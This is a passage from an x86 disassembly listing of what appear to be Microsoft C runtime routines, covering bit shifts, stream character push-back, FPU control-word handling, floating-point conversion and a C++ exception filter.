					; sub_423EC3+8Bj ...
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2830000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D358
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D370
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBB50
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DBB78, eax
		add	esp, 18h
		movsx	eax, byte_4DBB52
		mov	dword_4DBB70, eax
		pop	edi
		movsx	eax, word_4DBB50
		mov	dword_4DBB74, eax
		mov	dword_4DBB7C, offset dword_4DBB54
		mov	eax, offset dword_4DBB70
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043CF98o
					; ___:0043D7F8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DBB80
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DBB80
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1FBD90E8h], dl
		add	ah, byte ptr dword_4DBB80[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DBB8035h, 0BD7FE800h, 0C390021Fh

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_424788
